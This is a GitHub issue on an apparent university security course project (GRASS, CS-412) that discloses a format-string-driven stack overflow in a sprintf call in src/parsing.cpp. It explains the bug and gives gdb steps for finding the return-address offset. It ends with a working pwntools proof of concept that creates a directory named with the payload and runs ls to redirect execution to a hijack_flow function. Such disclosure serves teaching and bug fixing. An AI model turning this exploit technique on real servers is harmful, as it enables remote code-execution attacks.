LukasGelbmann / GRASS

CS-412 project
0 stars 0 forks source link

Format String Buffer Overflow #2

Open lromerio opened 5 years ago

lromerio commented 5 years ago

An unsafe call to sprintf that can lead to control flow redirection through a format string based buffer overflow.

Please find below a description of the vulnerability as well as a PoC.

Important notes:

Where

Repository

https://github.com/LukasGelbmann/GRASS

Location

spirntf in src/parsing.cpp at line 16

std::string bufferToString(char *buffer) {
    char placeHolder[bufferSize];
    sprintf(placeHolder, buffer);
    std::string ret;
    ret.assign(placeHolder);
    return ret;
}

Vulnerability

The call to sprintf

sprintf is called as follows:

sprintf(placeHolder, buffer);

The first parameter (placeHolder) is defined just one line above as a char buffer of size bufferSize, which is equal to 420 (see include/parsing.hpp at line 7).

The format string parameter (buffer) corresponds to the char * passed to the function bufferToString. A call to this function is made at line 62 of the file src/server/systemcmd.cpp inside command_with_output. command_with_output is used by commands that produces output, and calls bufferToString passing to it one line of the command output.

For this exploit we will consider a call to ls (which involves a call to command_with_output and thus executes the vulnerable sprintf).

Analysis

Given what above, there are a few observation we can do:

What we cannot do

A simple buffer overflow: 128 characters aren't enough to overflow a buffer of size 420.

Use the format string to do an arbitrary write overriding a return address: this will require writing much more than 420 characters to the "screen", it will overflow placeHolder by a lot and mess up the whole stack.

What we can do

Take advantage of the format string to perform a buffer overflow. In fact, thanks to %Nc we can insert N characters in placeHolder while having a directory name of only a few characters. The idea is thus to find the right offset and override the eip with the address of hijack_flow.

Exploit

Setup

Launch the server and attach gdb to it (sudo gdb -p PROCESS_ID).

Gather information

Obtain the address of hijack_flow: simply run disassemble hijack_flow in gdb.

Find out the offset of eip from the buffer. To do so we take advantage of the pattern command in gdb:

  1. Run pattern create 25, which creates a pattern of 25 characters.
  2. Launch a client and use mkdir to create a directory named %385c followed by the pattern.
  3. The server segfaults because it's trying to access a non valid address, in gdb we can see that address.
  4. If our offset guess (385) was good enough, this address should be composed by four characters of our pattern. Assume it was aaad, then running pattern search aaad will give use the exact offset.

Exploiting the Vulnerability (PoC)

from pwn import *

""""
Repository: https://github.com/LukasGelbmann/GRASS
Location:   src/parsing.cpp (line 16)
"""

ADDRESS = "127.0.0.1"
PORT = 1337

# Target address and offset
hijack_addr = 0x0805bf50
offset = 406

# Connect to server
r = remote(ADDRESS, PORT)

# Build exploit string
exploit = '%' + str(offset) + 'c'
exploit += p32(hijack_addr)

# Login
r.sendline('login u1')
sleep(1)
r.sendline('pass p1')
sleep(1)

# Create format string directory
r.sendline('mkdir ' + exploit)
sleep(1)

# Trigger bug
r.sendline('ls')
r.interactive()